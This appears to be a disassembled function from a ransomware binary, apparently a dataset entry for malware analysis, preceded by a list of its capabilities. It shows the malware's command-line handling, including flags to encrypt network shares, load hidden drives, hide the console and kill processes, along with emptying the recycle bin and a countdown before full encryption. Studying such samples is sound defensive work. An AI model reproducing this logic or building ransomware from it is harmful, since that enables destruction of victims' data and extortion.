Function at 0x4090c0
Capabilities:
Accept command line arguments
Create new key via cryptacquirecontext
Empty the recycle bin
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push 0xf0000000
push 0x18
push 0
push 0
push eax
mov dword [ebp - 8], 0
call esi
test eax, eax
jne 0x40910b
push 0xf0000008
push 0x18
push eax
push eax
lea eax, [ebp - 8]
push eax
call esi
neg eax
sbb eax, eax
and eax, dword [ebp - 8]
jmp 0x40910e
mov eax, dword [ebp - 8]
mov dword [0x429280], eax
test eax, eax
je 0x4096c3
push ebx
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [ebp - 0xc]
mov edi, eax
push str.__file
mov edx, edi
call fcn.00406150
mov ecx, dword [ebp - 0xc]
mov edx, edi
push str.__dir
mov dword [ebp - 8], eax
call fcn.00406150
mov esi, dword [ebp - 0xc]
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov dword [ebp - 0x18], eax
cmp esi, 1
jle 0x409194
mov eax, 1
mov dword [ebp - 0x10], eax
push str.__sup
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40933d
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x409174
mov esi, dword [ebp - 0xc]
xor ecx, ecx
mov dword [0x42927c], ecx
cmp esi, 1
jle 0x4091d0
mov eax, 1
mov dword [ebp - 0x10], eax
nop dword [eax]
push str.__ens
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40934a
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x4091b0
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x429288], eax
cmp esi, 1
jle 0x409204
mov eax, 1
mov dword [ebp - 0x10], eax
push str.__lhd
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x409357
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x4091e4
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x429284], eax
cmp esi, 1
jle 0x409240
mov eax, 1
mov dword [ebp - 0x10], eax
nop dword [eax + eax]
push str.__debug
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x409364
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x409220
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x4287b0], eax
cmp esi, 1
jle 0x409274
mov eax, 1
mov dword [ebp - 0x10], eax
push str.__kill
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x409371
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x409254
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x13], 0
cmp esi, 1
jle 0x4092a5
mov eax, 1
mov dword [ebp - 0x10], eax
push str.__help
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x40937d
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x409285
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x11], 0
cmp esi, 1
jle 0x4092d6
mov eax, 1
mov dword [ebp - 0x10], eax
push str.__safe_mode
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x409389
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x4092b6
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x12], 0
cmp esi, 1
jle 0x409310
mov eax, 1
mov dword [ebp - 0x10], eax
nop word [eax + eax]
push str.__hide
push dword [edi + eax*4]
call ebx
test eax, eax
je 0x409395
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x4092f0
mov esi, dword [ebp - 0xc]
xor bl, bl
push str.__mode
mov edx, edi
mov ecx, esi
call fcn.00406150
add esp, 4
mov ecx, eax
cmp byte [ebp - 0x11], 0
mov dword [ebp - 0x10], ecx
je 0x40939f
mov ecx, dword [edi]
call fcn.004073d0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [ebp - 0xc]
mov ecx, 1
jmp 0x409196
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x4091d2
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x409206
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x409242
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x13], 1
jmp 0x409278
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x11], 1
jmp 0x4092a9
mov esi, dword [ebp - 0xc]
mov byte [ebp - 0x12], 1
jmp 0x4092da
mov esi, dword [ebp - 0xc]
mov bl, 1
jmp 0x409312
cmp byte [ebp - 0x12], 0
je 0x4093b7
mov edx, dword [ebp - 0xc]
mov ecx, edi
call fcn.00408d50
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xc]
cmp eax, 1
jle 0x409407
dec eax
push eax
push str.___Count_of_arguments:__d_n
call fcn.00404800
mov esi, 1
add esp, 8
cmp dword [ebp - 0xc], esi
jle 0x4093f7
nop dword [eax + eax]
push dword [edi + esi*4]
push esi
push str._____d___s_n
call fcn.00404800
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0xc]
jl 0x4093e0
push 0x425a9c
call fcn.00404800
mov ecx, dword [ebp - 0x10]
add esp, 4
test ecx, ecx
je 0x409442
movzx ecx, word [ecx]
lea edx, [ecx - 0x41]
lea eax, [ecx + 0x20]
cmp edx, 0x19
jbe 0x40941b
mov eax, ecx
cmp eax, 0x66
jne 0x40942c
mov dword [0x4287b4], 0
jmp 0x409442
cmp edx, 0x19
ja 0x409434
add ecx, 0x20
xor eax, eax
cmp ecx, 0x73
sete al
inc eax
mov dword [0x4287b4], eax
cmp dword [0x4287b0], 0
mov esi, dword [ebp - 8]
je 0x40945c
push esi
push 0x425aa0
call fcn.00404800
add esp, 8
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
cmp byte [ebp - 0x13], 0
je 0x409478
call fcn.00407110
call fcn.00406f70
call fcn.004056a0
call fcn.00406b30
test bl, bl
je 0x409495
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
test esi, esi
je 0x4094b7
cmp dword [0x4287b0], 0
je 0x4094b0
push esi
push str.___Start_encryption_of:__s_n
call fcn.00404800
add esp, 8
mov ecx, esi
call fcn.00405920
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40950f
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x2f
je 0x4094ec
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x5c
je 0x4094ec
push str.____Please__add_____to_the_end_of_directory__n
call fcn.00404800
add esp, 4
jmp 0x4096a7
cmp dword [0x4287b0], 0
je 0x409503
push ebx
push str.___Start_encryption_of_directory:__s_n
call fcn.00404800
add esp, 8
mov ecx, ebx
call fcn.00404ae0
jmp 0x4096a7
test esi, esi
jne 0x4096aa
mov eax, dword [0x4287b0]
test eax, eax
je 0x4095c6
push str.___Settings:_n
call fcn.00404800
mov eax, dword [0x4287b0]
add esp, 4
test eax, eax
je 0x4095c6
cmp dword [0x42927c], 0
mov esi, 0x425bd8
mov eax, esi
mov edi, 0x425bdc
cmove eax, edi
push eax
push 0x425be0
call fcn.00404800
mov eax, dword [0x4287b0]
add esp, 8
test eax, eax
je 0x4095c6
cmp dword [0x429288], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Encrypt_network_shares_n
call fcn.00404800
mov eax, dword [0x4287b0]
add esp, 8
test eax, eax
je 0x4095c6
cmp dword [0x429284], 0
cmove esi, edi
push esi
push str._t__s__Load_hidden_drives_n_n
call fcn.00404800
mov eax, dword [0x4287b0]
add esp, 8
test eax, eax
je 0x4095c6
push 0x425bd8
push str._t__s__Debug_n_n
call fcn.00404800
mov eax, dword [0x4287b0]
add esp, 8
cmp dword [0x429284], 0
je 0x4095ea
test eax, eax
je 0x4095e0
push str.___Loading_hidden_drives..._n
call fcn.00404800
add esp, 4
call fcn.00405180
mov eax, dword [0x4287b0]
test eax, eax
je 0x4095fb
push str.___Starting_full_encryption_in_5s
call fcn.00404800
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp dword [0x4287b0], 0
je 0x40961e
push 0x420a68
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x4287b0], 0
je 0x40963b
push 0x420a68
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x4287b0], 0
je 0x409658
push 0x420a68
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x4287b0], 0
je 0x409675
push 0x420a68
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x4287b0], 0
je 0x409692
push 0x425d28
call fcn.00404800
add esp, 4
call fcn.00405080
cmp dword [0x429288], 0
je 0x4096a7
xor ecx, ecx
call fcn.00404f30
mov esi, dword [ebp - 8]
call fcn.00405740
pop edi
test ebx, ebx
pop ebx
jne 0x4096c3
test esi, esi
jne 0x4096c3
call fcn.00406790
call fcn.00406550
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004096d4
mov esp, ebp
pop ebp
ret